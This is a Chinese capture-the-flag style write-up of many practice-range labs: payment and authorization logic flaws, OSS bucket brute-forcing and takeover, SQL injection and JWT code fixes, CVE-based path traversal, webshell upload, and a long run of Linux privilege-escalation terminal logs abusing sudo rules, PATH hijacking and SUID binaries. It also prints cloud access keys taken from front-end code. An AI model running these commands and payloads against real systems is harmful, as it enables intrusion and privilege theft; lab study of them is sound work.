前言
好靶场天天看别人刷了,自己也来玩玩(日常吐槽:怎么都要vip),哎哟我,嫖了个黄🈸的会员,起飞了
SRC训练家
越权:一个多租户的学生登录系统2
进去可以看见是一个门户网页,美国大学可以直接登录,上去是普通用户
尝试另外两个大学登录,发现失败,发现school参数不一样,尝试登录美国大学的时候替换
发现无果,登录上去之后发现有点击学校这个东西,发现要填入school和pid,尝试替换
发现只更换school不行,两个一起替换但还是user权限,尝试修改type值,发现改成空即可

支付漏洞: 负数充值案例靶场
就很纯粹,改成负数充值就行了
这种情况一般就是神人开发没有处理负数域的数据,进入之后成了余额+(-100), 这样的话在逻辑上可能成为了退款、提现这种行为,还有就有可能神人开发写成abs处理而且后端接口没有规范数据判断

支付:四舍五入充值靶场
尝试了两位小数发现四舍五入没有用,扩到三位,拿到flag了
支付:负数购买案列
购买的时候物品价格改成负数就行了
支付:商城修改金额支付漏洞
改成低价就行了
支付:入门舍入漏洞
改成小数
支付:请一口气买101个汉堡
就很怪,你去买卷,然后你再退,他会退给你全部的金额,但是卷只少一个,有点像那种api就没写完的情况
登录:一个可以注册的系统
随便输入密码发现系统密码是88888888,直接爆破出不来,尝试注册页面
注册页面爆破用户名可以拿到zhangsan,手机号不用管,然后登录上去就行了
登录:不是,你忘记密码功能是怎么做的?
先喷洒用户名,拿到liuyang,然后忘记密码去改
忘记密码:某学校-任意用户密码重置
这个的情况就类似手机号去重置密码,但是可以任意接管手机号一样,但是这个题也不用去改包什么的,就有点怪(
短信验证码:短信验证码暴力突破
抓包爆破验证码
oss
oss出了什么问题?
给了你一个oss的存储文件下载地址,发现后面编号001可以改,fuzz一下,010是flag
oss出了什么问题2?
存储桶上传覆盖漏洞,随便传个文件,发现错误:只允许上传文件名为 flag.txt 的文件,估计是同文件名的会匹配到,然后覆盖掉
oss存储桶爆破
给了一个信息haobachang()x()x001.oss-cn-chengdu.aliyuncs.com,括号里面是数字但是不知道,也就是爆破这个就行了,其实学过云计算的应该知道,oss存储桶在云服务器厂商给的时候,就是name.地区(or用户名).厂商.域名,也就是目前部分name已知,爆破一下
生成全部的可能性,然后httpx探活一下
httpx -l url.txt -status-code
oss出了什么问题3?
前端js泄露了密钥,那就可以直接连接了
import oss2
access_key_id = "LTAI5t74gdTkSqzHFMyPNaNQ"access_key_secret = "dmPncMOYDwOv7zla1jwOBRRd5olac2"endpoint = "http://oss-cn-chengdu.aliyuncs.com"bucket_name = "haobachang522"
auth = oss2.Auth(access_key_id, access_key_secret)bucket = oss2.Bucket(auth, endpoint, bucket_name)
for obj in oss2.ObjectIterator(bucket): print(f"发现文件: {obj.key}")
target_files = ["flag", "flag.txt", "secret.txt"]for target in target_files: try: print(f"正在尝试读取: {target}") result = bucket.get_object(target) print(f"成功获取内容: {result.read().decode('utf-8')}") except oss2.exceptions.NoSuchKey: print(f"文件 {target} 不存在") except Exception as e: print(f"读取 {target} 时出错: {e}")oss接管
这个题目比较麻烦(,懒得写了,其实是他这个oss服务有问题
curl https://hbc236783.oss-cn-chengdu.aliyuncs.com/<?xml version="1.0" encoding="UTF-8"?><Error> <Code>NoSuchBucket</Code> <Message>The specified bucket does not exist.</Message> <RequestId>69F56765D1F10A30385E0788</RequestId> <HostId>hbc236783.oss-cn-chengdu.aliyuncs.com</HostId> <BucketName>hbc236783</BucketName> <EC>0015-00000101</EC> <RecommendDoc>https://api.aliyun.com/troubleshoot?q=0015-00000101</RecommendDoc></Error>回显The specified bucket does not exist.,这种情况可以被接管,原因是DNS 层解析成功,但是没有一个叫这个的oss,也就是没有这个玩意,此时,该域名就变成了一个指向 OSS 平台的“孤儿域名”。攻击者只需要在自己的阿里云账号下,创建一个同名的 Bucket(如果之前是按 Bucket 域名指向)或者重新将该自定义域名绑定到自己新创建的 Bucket 上,就可以控制该域名的内容。
去阿里云搞个一模一样名字的oss,然后在上面添加一个flag.txt,把公共访问打开,就可以平替他了
代码审计&代码修复
SQL注入-PHP
给的代码
<?phpfunction getUserById($conn, $userId) { $query = "SELECT * FROM users WHERE id = " . $userId;
$result = mysqli_query($conn, $query);
if (!$result) { error_log("查询用户失败: " . mysqli_error($conn)); return []; }
$users = []; while ($row = mysqli_fetch_assoc($result)) { $users[] = $row; }
mysqli_free_result($result); return $users;}?>很明显的sql注入,第一开始尝试转int不行,那就更规范一点
<?phpfunction getUserById($conn,$userId){$stmt=mysqli_prepare($conn,"SELECT * FROM users WHERE id=?");mysqli_stmt_bind_param($stmt,"i",$userId);mysqli_stmt_execute($stmt);$result=mysqli_stmt_get_result($stmt);while($row=mysqli_fetch_assoc($result))$users[]=$row;return $users??[];}?>把SQL 结构和用户数据分离,现在输入1 OR 1=1进去是id = "1 OR 1=1"
SQL注入-Go
func GetUserByID(db *sql.DB, userID string) ([]User, error) { query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
rows, err := db.Query(query) if err != nil { log.Printf("查询用户失败: %v", err) return nil, err } defer rows.Close()
var users []User for rows.Next() { var user User err := rows.Scan(&user.ID, &user.Username, &user.Email) if err != nil { log.Printf("扫描数据失败: %v", err) continue } users = append(users, user) }
return users, nil}数据库这直接拼接了,和上面处理差不多
query := "SELECT * FROM users WHERE id = ?"rows, err := db.Query(query, userID)但是不知道为什么过不去,好奇怪啊草
JWTFIX-Go
func ValidateToken(tokenString string) (bool, *CustomClaims, error) { claims := &CustomClaims{} token, err := jwt.ParseUnverified(tokenString, claims) if err != nil { log.Printf("Token格式解析失败: %v", err) return false, nil, err}认证问题
jwt.ParseUnverified(tokenString, claims)
只解析,不验证,比如
{ "username":"user", "role":"user"}我可以给他全换成admin,然后编码交上去,就claims.Role == "admin"了,golang里面ParseWithClaims回去校验,加上就行了
func ValidateToken(tokenString string) (bool, *CustomClaims, error) { claims := &CustomClaims{}
token, err := jwt.ParseWithClaims( tokenString, claims, func(token *jwt.Token) (interface{}, error) { return []byte(secretKey), nil }, )
if err != nil || !token.Valid { return false, nil, err }
return true, claims, nil}python的题目和这个差不多,懒得写了()
HW/红队实战
Drupal 7.57
先搜一下这个版本,找到cve
甚至不用提权,直接拿flag
Drupal 8.3.0&8.5.0
复现cve
CLTPHP 6.0
存在cve2023-30267,poc好难找,找到了也没用,读不了内部文件(),但是可以知道Template.php有问题,扒下来看看
public function edit(){
$filename = input('param.file');
if(input('param.type')){
$type = input('param.type');
}else{
$type = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
}
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename;
if(file_exists($file)){
$file=iconv('gb2312','utf-8',$file);
$content = file_get_contents($file);
$this->assign ( 'filename',$filename );
$this->assign ( 'title','修改模版内容' );
$this->assign ( 'file',$file );
$this->assign ( 'content',$content );
}else{
$this->error('文件不存在!');
}
return $this->fetch();
}从代码可以看出 file 和 type 是从用户输入获取的 而且没有进行过滤,所以导致后面直接拼接路径获取不同的文件。
那么file=../../../../../../etc/passwd,但是后面会跟上type,如果不type 的值不为html的时候 path的值会变化为固定值,这样拼接出来的目录就会变成一个不存在的目录
所以?file=../../../../../../../../../tmp/flag.txt&type=html即可
DaiCuoCms
后台在admin.php,默认账户密码登录
文章上传可以传图片马,设置那里可以把上传文件目录改了,改个顺手的就行,然后文章那上传图片

蚁剑连接上去就行了
哎,一个文件防篡改系统
登录进去,查看文件那里可以目录穿越,直接读flag
如果想拿shell的话,往/etc/cron.d/里面文件写定时任务,去弹shell就行了
提权
最简单的提权
www-data@97e8a87ab712:/var/www/html$ lsindex.phpwww-data@97e8a87ab712:/var/www/html$ sudo -lsudo -lMatching Defaults entries for www-data on 97e8a87ab712: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 97e8a87ab712: (ALL) NOPASSWD: /bin/suwww-data@97e8a87ab712:/var/www/html$ sudo susudo suiduid=0(root) gid=0(root) groups=0(root)命令劫持
www-data@91e97c0e6ffe:/var/www/html$ sudo -lsudo -lMatching Defaults entries for www-data on 91e97c0e6ffe: env_reset, mail_badpass, use_pty
User www-data may run the following commands on 91e97c0e6ffe: (root) NOPASSWD: /var/start.shwww-data@91e97c0e6ffe:/var/www/html$ cat /var/start.shcat /var/start.sh-e #!/bin/bashls /etcwww-data@91e97c0e6ffe:/var/www/html$ echo "cat /root/flag.txt" > /tmp/lsecho "cat /root/flag.txt" > /tmp/lswww-data@91e97c0e6ffe:/var/www/html$ chmod +x /tmp/lschmod +x /tmp/lswww-data@91e97c0e6ffe:/var/www/html$ sudo PATH=/tmp:$PATH /var/start.shsudo PATH=/tmp:$PATH /var/start.sh/var/start.sh: 1: -e: not foundflag{c28ca00afdd342fc9f85cb708f08c0d6}其实就是他执行一半的时候,我注入新的环境变量,让他去执行我的命令,比如这个题目里面他用了ls,我去伪造一个,让他执行我想要东西
于是ls /etc就变成了/tmp/ls /etc
提权碎片2
newuser@1e8fae24f8b5:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/od/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@1e8fae24f8b5:/$ sudo subash: sudo: command not foundnewuser@1e8fae24f8b5:/$ od /root/flag.txt0000000 066146 063541 030173 062544 034471 034462 032541 0304630000020 032062 031071 061071 032144 030463 062144 034463 0604630000040 063145 062067 076464 0000120000047提权碎片3
newuser@206025919a19:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/su/usr/bin/nohupnewuser@206025919a19:/$ /usr/bin/nohup cat /root/flag.txt > /tmp/1 2>&1newuser@206025919a19:/$ cat /tmp/1/usr/bin/nohup: ignoring inputflag{84fb83f1d26b440380a54ae15f307f99}提权碎片4
newuser@15e393845599:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/nl/usr/bin/mount/usr/bin/newgrp/usr/bin/su
newuser@15e393845599:/$newuser@15e393845599:/$ /usr/bin/nl /root/flag.txt 1 flag{518202b987ff40db9a78244e47ef0edb}提权碎片5
newuser@94211729521e:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/nice/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@94211729521e:/$ /usr/bin/nice /bin/sh -p# iduid=1000(newuser) gid=1000(newuser) euid=0(root) groups=1000(newuser)# cat /root/flag.txtflag{b119f81661d642a98a898c5e893f1420}提权碎片6
newuser@88df4dfa49f7:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/su/usr/bin/xznewuser@88df4dfa49f7:/$ /usr/bin/xz -c /root/flag.txt | xz -dflag{4861b044d1944876bfc479e887261cc4}提权碎片7
newuser@4d344744fa9d:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/mv/usr/bin/sunewuser@4d344744fa9d:/$ /usr/bin/mv /root/flag.txt .newuser@4d344744fa9d:/$ lsbin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr varnewuser@4d344744fa9d:/$ cat flag.txtflag{ae7cb64ce651419d9b0f174dafcecf4a}提权碎片8
newuser@613343802e58:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/more/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@613343802e58:/$ /usr/bin/more /root/flag.txtflag{cc4e36f86f0b4845a102026da87eb451}提权碎片9
newuser@2c515471ac25:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/su/usr/bin/mawknewuser@2c515471ac25:/$ /usr/bin/mawk '{print}' /root/flag.txtflag{9e680891692d47b4b54dac0662ca60b5}提权碎片10
newuser@ce4fc06ff969:/$ find / -perm -u=s -type f 2>/dev/null/usr/sbin/logsave/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@ce4fc06ff969:/$ /usr/sbin/logsave /tmp/flag_copy cat /root/flag.txtflag{0d119f4f25d84cb1b5af22d35d347962}提权碎片11
newuser@9e372b9aed05:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/join/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@9e372b9aed05:/$ /usr/bin/join /root/flag.txt /root/flag.txtflag{96283d912761484caa1c9ff9093fade8}提权碎片12
newuser@e1036b8b7c04:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/ionice/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@e1036b8b7c04:/$ /usr/bin/ionice cat /root/flag.txtflag{7507223c5ef74058a9d391efd4078026}提权碎片13
newuser@63429aed7b91:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/install/usr/bin/sunewuser@63429aed7b91:/$ /usr/bin/install -m 777 /root/flag.txt /tmp/flag1newuser@63429aed7b91:/$ cat /tmp/flag1flag{52b24dc100564aaa9970466ff12a2705}提权碎片14
newuser@35f06efb438f:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/su/usr/bin/iconvnewuser@35f06efb438f:/$ /usr/bin/iconv -f UTF-8 -t UTF-8 /root/flag.txtflag{7836b462126c4017a4c7efee6272a2ed}提权碎片15
newuser@b46dcc5396b5:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/head/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@b46dcc5396b5:/$ /usr/bin/head /root/flag.txtflag{64c6f925f3024414a1b69a168db59bfa}提权碎片16
newuser@a50e3d15c9c6:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/gzip/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@a50e3d15c9c6:/$ /usr/bin/gzip -c /root/flag.txt | gunzipflag{a95b78ef4451479fb06e94e907aea629}提权碎片31
newuser@abaf99228905:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/su/usr/bin/sudonewuser@abaf99228905:/$ sudo -lMatching Defaults entries for newuser on abaf99228905: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User newuser may run the following commands on abaf99228905: (ALL) NOPASSWD: /usr/bin/steghide<0\x10\x00\x00\x00\x01\x00\x01\x00\x44\xac\x00\x00\x88\x58\x01\x00\x02\x00\x10\x00\x64\x61\x74\x61\x00\x00\x20\x00" > /tmp/noise.wavnewuser@abaf99228905:~$ dd if=/dev/urandom bs=1024 count=2048 >> /tmp/noise.wav2048+0 records in2048+0 records out2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.015681 s, 134 MB/snewuser@abaf99228905:~$ sudo /usr/bin/steghide embed -ef /root/flag.txt -cf /tmp/noise.wav -p 123456 -sf /tmp/pwned.wavembedding "/root/flag.txt" in "/tmp/noise.wav"... donewriting stego file "/tmp/pwned.wav"... donenewuser@abaf99228905:~$ steghide extract -sf /tmp/pwned.wav -p 123456 -fwrote extracted data to "flag.txt".newuser@abaf99228905:~$ cat flag.txtflag{298e124348ff4a5c82085d9858e4d8f7}提权碎片30
newuser@f415d5f1fceb:/$ sudo -lbash: sudo: command not foundnewuser@f415d5f1fceb:/$ find / -perm -u=s -type f 2>/dev/null/usr/sbin/arp/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/newgrp/usr/bin/sunewuser@f415d5f1fceb:/$ /usr/sbin/arp -v -f /root/flag.txt>> flag{caa45f93d1aa415aa5025ccc47b88f74}其他的感觉没什么意思了,先不打
php提权?
www-data@9134946d760e:/var/www/html$ sudo -lsudo -lMatching Defaults entries for www-data on 9134946d760e: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 9134946d760e: (root) NOPASSWD: /usr/local/bin/phpwww-data@9134946d760e:/var/www/html$ sudo /usr/local/bin/php -r "readfile('/root/flag.txt');"</usr/local/bin/php -r "readfile('/root/flag.txt');"flag{ef8965431f4a4e61a5e9325b1521707d}一个不存在的文件居然也可以提权
www-data@988655860e59:/var/www/html$ sudo -lsudo -lMatching Defaults entries for www-data on 988655860e59: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 988655860e59: (root) NOPASSWD: /var/www/html/haobachang.htmlwww-data@988655860e59:/var/www/html$ echo '#!/bin/bash' > /var/www/html/haobachang.html< echo '#!/bin/bash' > /var/www/html/haobachang.htmlwww-data@988655860e59:/var/www/html$ echo '/bin/bash -p' >> /var/www/html/haobachang.html<cho '/bin/bash -p' >> /var/www/html/haobachang.htmlwww-data@988655860e59:/var/www/html$ chmod +x /var/www/html/haobachang.htmlchmod +x /var/www/html/haobachang.htmlwww-data@988655860e59:/var/www/html$ sudo /var/www/html/haobachang.htmlsudo /var/www/html/haobachang.htmliduid=0(root) gid=0(root) groups=0(root)cat /root/flag.txtflag{4cabd14ecbfe475b8d902f16c0979d89}cp提权?
newuser@d29cf322abd7:/$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/gpasswd/usr/bin/passwd/usr/bin/mount/usr/bin/cp/usr/bin/newgrp/usr/bin/sunewuser@d29cf322abd7:/$ /usr/bin/cp /root/flag.txt /tmp/flag1newuser@d29cf322abd7:/$ cat /tmp/flag1flag{f5103e1e7c8e4e588db43acdda411c8e}部分信息可能已经过时